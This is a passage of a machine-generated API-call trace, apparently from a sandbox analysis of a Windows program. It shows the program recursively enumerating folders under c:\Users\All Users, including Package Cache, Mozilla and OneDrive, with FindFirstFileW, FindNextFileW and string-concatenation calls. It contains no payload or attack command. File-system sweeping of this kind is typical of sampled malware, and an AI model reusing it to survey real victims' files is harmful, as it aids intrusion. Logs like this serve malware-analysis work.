Users\\Microsoft\\Windows Defender") returned="c:\\Users\\All Users\\Microsoft\\Windows Defender" [0121.665] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.665] lstrcmpW (lpString1="Windows NT", lpString2=".") returned 1 [0121.665] lstrcmpW (lpString1="Windows NT", lpString2="..") returned 1 [0121.665] lstrlenW (lpString="c:\\Users\\All Users\\Microsoft\\") returned 29 [0121.665] lstrlenW (lpString="Windows NT") returned 10 [0121.665] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="Windows NT" | out: lpString1="c:\\Users\\All Users\\Microsoft\\Windows NT") returned="c:\\Users\\All Users\\Microsoft\\Windows NT" [0121.665] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.665] lstrcmpW (lpString1="WwanSvc", lpString2=".") returned 1 [0121.665] lstrcmpW (lpString1="WwanSvc", lpString2="..") returned 1 [0121.665] lstrlenW (lpString="c:\\Users\\All Users\\Microsoft\\") returned 29 [0121.665] lstrlenW (lpString="WwanSvc") returned 7 [0121.665] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="WwanSvc" | out: lpString1="c:\\Users\\All Users\\Microsoft\\WwanSvc") returned="c:\\Users\\All Users\\Microsoft\\WwanSvc" [0121.665] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.665] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.665] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.665] lstrcmpW (lpString1="Microsoft OneDrive", lpString2=".") returned 1 [0121.665] lstrcmpW (lpString1="Microsoft OneDrive", lpString2="..") returned 1 [0121.665] lstrlenW (lpString="c:\\Users\\All Users\\") returned 19 [0121.665] lstrlenW (lpString="Microsoft OneDrive") returned 18 [0121.665] lstrcatW (in: lpString1="c:\\Users\\All Users\\", lpString2="Microsoft OneDrive" | out: lpString1="c:\\Users\\All Users\\Microsoft OneDrive") returned="c:\\Users\\All Users\\Microsoft OneDrive" [0121.665] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft OneDrive", lpString2="\\" | out: lpString1="c:\\Users\\All Users\\Microsoft OneDrive\\") returned="c:\\Users\\All Users\\Microsoft OneDrive\\" [0121.665] lstrlenW (lpString="c:\\Users\\All Users\\Microsoft OneDrive\\") returned 38 [0121.665] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft OneDrive\\", lpString2="*" | out: lpString1="c:\\Users\\All Users\\Microsoft OneDrive\\*") returned="c:\\Users\\All Users\\Microsoft OneDrive\\*" [0121.665] FindFirstFileW (in: lpFileName="c:\\Users\\All Users\\Microsoft OneDrive\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.665] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.665] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.666] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.666] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.666] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.666] lstrcmpW (lpString1="setup", lpString2=".") returned 1 [0121.666] lstrcmpW (lpString1="setup", lpString2="..") returned 1 [0121.666] lstrlenW (lpString="c:\\Users\\All Users\\Microsoft OneDrive\\") returned 38 [0121.666] lstrlenW (lpString="setup") returned 5 [0121.666] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft OneDrive\\", lpString2="setup" | out: lpString1="c:\\Users\\All Users\\Microsoft OneDrive\\setup") returned="c:\\Users\\All Users\\Microsoft OneDrive\\setup" [0121.666] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.666] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.666] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.666] lstrcmpW (lpString1="Mozilla", lpString2=".") returned 1 [0121.666] lstrcmpW (lpString1="Mozilla", lpString2="..") returned 1 [0121.666] lstrlenW (lpString="c:\\Users\\All Users\\") returned 19 [0121.666] lstrlenW (lpString="Mozilla") returned 7 [0121.666] lstrcatW (in: lpString1="c:\\Users\\All Users\\", lpString2="Mozilla" | out: lpString1="c:\\Users\\All Users\\Mozilla") returned="c:\\Users\\All Users\\Mozilla" [0121.666] lstrcatW (in: lpString1="c:\\Users\\All Users\\Mozilla", lpString2="\\" | out: lpString1="c:\\Users\\All Users\\Mozilla\\") returned="c:\\Users\\All Users\\Mozilla\\" [0121.666] lstrlenW (lpString="c:\\Users\\All Users\\Mozilla\\") returned 27 [0121.666] lstrcatW (in: lpString1="c:\\Users\\All Users\\Mozilla\\", lpString2="*" | out: lpString1="c:\\Users\\All Users\\Mozilla\\*") returned="c:\\Users\\All Users\\Mozilla\\*" [0121.666] FindFirstFileW (in: lpFileName="c:\\Users\\All Users\\Mozilla\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.666] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.666] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.666] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.666] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.667] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.667] lstrcmpW (lpString1="logs", lpString2=".") returned 1 [0121.667] lstrcmpW (lpString1="logs", lpString2="..") returned 1 [0121.667] lstrlenW (lpString="c:\\Users\\All Users\\Mozilla\\") returned 27 [0121.667] lstrlenW (lpString="logs") returned 4 [0121.667] lstrcatW (in: lpString1="c:\\Users\\All Users\\Mozilla\\", lpString2="logs" | out: lpString1="c:\\Users\\All Users\\Mozilla\\logs") returned="c:\\Users\\All Users\\Mozilla\\logs" [0121.667] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.667] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.667] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.667] lstrcmpW (lpString1="Oracle", lpString2=".") returned 1 [0121.667] lstrcmpW (lpString1="Oracle", lpString2="..") returned 1 [0121.667] lstrlenW (lpString="c:\\Users\\All Users\\") returned 19 [0121.667] lstrlenW (lpString="Oracle") returned 6 [0121.667] lstrcatW (in: lpString1="c:\\Users\\All Users\\", lpString2="Oracle" | out: lpString1="c:\\Users\\All Users\\Oracle") returned="c:\\Users\\All Users\\Oracle" [0121.667] lstrcatW (in: lpString1="c:\\Users\\All Users\\Oracle", lpString2="\\" | out: lpString1="c:\\Users\\All Users\\Oracle\\") returned="c:\\Users\\All Users\\Oracle\\" [0121.667] lstrlenW (lpString="c:\\Users\\All Users\\Oracle\\") returned 26 [0121.667] lstrcatW (in: lpString1="c:\\Users\\All Users\\Oracle\\", lpString2="*" | out: lpString1="c:\\Users\\All Users\\Oracle\\*") returned="c:\\Users\\All Users\\Oracle\\*" [0121.667] FindFirstFileW (in: lpFileName="c:\\Users\\All Users\\Oracle\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.667] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.667] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.667] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.667] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.667] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.667] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.667] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.667] lstrcmpW (lpString1="Package Cache", lpString2=".") returned 1 [0121.668] lstrcmpW (lpString1="Package Cache", lpString2="..") returned 1 [0121.668] lstrlenW (lpString="c:\\Users\\All Users\\") returned 19 [0121.668] lstrlenW (lpString="Package Cache") returned 13 [0121.668] lstrcatW (in: lpString1="c:\\Users\\All Users\\", lpString2="Package Cache" | out: lpString1="c:\\Users\\All Users\\Package Cache") returned="c:\\Users\\All Users\\Package Cache" [0121.668] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache", lpString2="\\" | out: lpString1="c:\\Users\\All Users\\Package Cache\\") returned="c:\\Users\\All Users\\Package Cache\\" [0121.668] lstrlenW (lpString="c:\\Users\\All Users\\Package Cache\\") returned 33 [0121.668] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="*" | out: lpString1="c:\\Users\\All Users\\Package Cache\\*") returned="c:\\Users\\All Users\\Package Cache\\*" [0121.668] FindFirstFileW (in: lpFileName="c:\\Users\\All Users\\Package Cache\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.668] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.668] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.668] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.668] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.668] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.668] lstrcmpW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2=".") returned 1 [0121.668] lstrcmpW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="..") returned 1 [0121.668] lstrlenW (lpString="c:\\Users\\All Users\\Package Cache\\") returned 33 [0121.668] lstrlenW (lpString="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned 49 [0121.668] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="c:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0121.668] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.668] lstrcmpW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2=".") returned 1 [0121.668] lstrcmpW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="..") returned 1 [0121.668] lstrlenW (lpString="c:\\Users\\All Users\\Package Cache\\") returned 33 [0121.668] lstrlenW (lpString="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 38 [0121.668] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="c:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0121.668] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.668] lstrcmpW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2=".") returned 1 [0121.668] lstrcmpW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="..") returned 1 [0121.668] lstrlenW (lpString="c:\\Users\\All Users\\Package Cache\\") returned 33 [0121.668] lstrlenW (lpString="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned 49 [0121.668] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="c:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0121.668] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.668] lstrcmpW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2=".") returned 1 [0121.668] lstrcmpW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="..") returned 1 [0121.668] lstrlenW (lpString="c:\\Users\\All Users\\Package Cache\\") returned 33 [0121.668] lstrlenW (lpString="{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned 38 [0121.668] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="c:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0121.668] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.668] lstrcmpW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2=".") returned 1 [0121.668] lstrcmpW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="..") returned 1 [0121.668] lstrlenW (lpString="c:\\Users\\All Users\\Package Cache\\") returned 33 [0121.668] lstrlenW (lpString="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned 50 [0121.668] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="c:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0121.668] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.668] lstrcmpW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2=".") returned 1 [0121.668] lstrcmpW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="..") returned 1 [0121.669] lstrlenW (lpString="c:\\Users\\All Users\\Package Cache\\") returned 33 [0121.669] lstrlenW (lpString="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned 50 [0121.669] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="c:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0121.669] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.669] lstrcmpW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2=".") returned 1 [0121.669] lstrcmpW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="..") returned 1 [0121.669] lstrlenW (lpString="c:\\Users\\All Users\\Package Cache\\") returned 33 [0121.669] lstrlenW (lpString="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned 50 [0121.669] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="c:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0121.669] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.669] lstrcmpW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2=".") returned 1 [0121.669] lstrcmpW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="..") returned 1 [0121.669] lstrlenW (lpString="c:\\Users\\All Users\\Package Cache\\") returned 33 [0121.669] lstrlenW (lpString="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned 49 [0121.669] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="c:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0121.669] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.669] lstrcmpW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2=".") returned 1 [0121.669] lstrcmpW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="..") returned 1 [0121.669] lstrlenW (lpString="c:\\Users\\All Users\\Package Cache\\") returned 33 [0121.669] lstrlenW (lpString="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned 49 [0121.669] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="c:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0121.669] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.669] lstrcmpW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2=".") returned 1 [0121.669] lstrcmpW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="..") returned 1 [0121.669] lstrlenW (lpString="c:\\Users\\All Users\\Package Cache\\") returned 33 [0121.669] lstrlenW (lpString="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned 49 [0121.669] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="c:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0121.669] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.669] lstrcmpW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2=".") returned 1 [0121.669] lstrcmpW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="..") returned 1 [0121.669] lstrlenW (lpString="c:\\Users\\All Users\\Package Cache\\") returned 33 [0121.669] lstrlenW (lpString="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned 49 [0121.669] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="c:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0121.669] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.669] lstrcmpW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2=".") returned 1 [0121.669] lstrcmpW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="..") returned 1 [0121.669] lstrlenW (lpString="c:\\Users\\All Users\\Package Cache\\") returned 33 [0121.669] lstrlenW (lpString="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned 38 [0121.669] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="c:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0121.669] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.669] lstrcmpW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2=".") returned 1 [0121.669] lstrcmpW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="..") returned 1 [0121.669] lstrlenW (lpString="c:\\Users\\All Users\\Package Cache\\") returned 33 [0121.669] lstrlenW (lpString="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned 49 [0121.669] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="c:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0121.669] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.669] lstrcmpW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2=".") returned 1 [0121.669] lstrcmpW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="..") returned 1 [0121.669] lstrlenW (lpString="c:\\Users\\All Users\\Package Cache\\") returned 33 [0121.669] lstrlenW (lpString="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned 50 [0121.669] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="c:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0121.669] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.669] lstrcmpW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2=".") returned 1 [0121.669] lstrcmpW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="..") returned 1 [0121.670] lstrlenW (lpString="c:\\Users\\All Users\\Package Cache\\") returned 33 [0121.670] lstrlenW (lpString="{e52a6842-b0ac-476e-b48f-378a97a67346}") returned 38 [0121.670] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="c:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0121.670] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.670] lstrcmpW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2=".") returned 1 [0121.670] lstrcmpW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="..") returned 1 [0121.670] lstrlenW (lpString="c:\\Users\\All Users\\Package Cache\\") returned 33 [0121.670] lstrlenW (lpString="{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned 38 [0121.670] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="c:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0121.670] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.670] lstrcmpW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2=".") returned 1 [0121.670] lstrcmpW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="..") returned 1 [0121.670] lstrlenW (lpString="c:\\Users\\All Users\\Package Cache\\") returned 33 [0121.670] lstrlenW (lpString="{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned 38 [0121.670] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="c:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0121.670] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.670] lstrcmpW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2=".") returned 1 [0121.670] lstrcmpW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="..") returned 1 [0121.670] lstrlenW (lpString="c:\\Users\\All Users\\Package Cache\\") returned 33 [0121.670] lstrlenW (lpString="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned 49 [0121.670] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="c:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0121.670] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.670] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.670] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.670] lstrcmpW (lpString1="regid.1991-06.com.microsoft", lpString2=".") returned 1 [0121.670] lstrcmpW (lpString1="regid.1991-06.com.microsoft", lpString2="..") returned 1 [0121.670] lstrlenW (lpString="c:\\Users\\All Users\\") returned 19 [0121.670] lstrlenW (lpString="regid.1991-06.com.microsoft") returned 27 [0121.670] lstrcatW (in: lpString1="c:\\Users\\All Users\\", lpString2="regid.1991-06.com.microsoft" | out: lpString1="c:\\Users\\All Users\\regid.1991-06.com.microsoft") returned="c:\\Users\\All Users\\regid.1991-06.com.microsoft" [0121.670] lstrcatW (in: lpString1="c:\\Users\\All Users\\regid.1991-06.com.microsoft", lpString2="\\" | out: lpString1="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\") returned="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\" [0121.670] lstrlenW (lpString="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\") returned 47 [0121.670] lstrcatW (in: lpString1="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\", lpString2="*" | out: lpString1="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\*") returned="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\*" [0121.670] FindFirstFileW (in: lpFileName="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.671] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.671] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.671] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.671] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.671] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.671] lstrcmpW 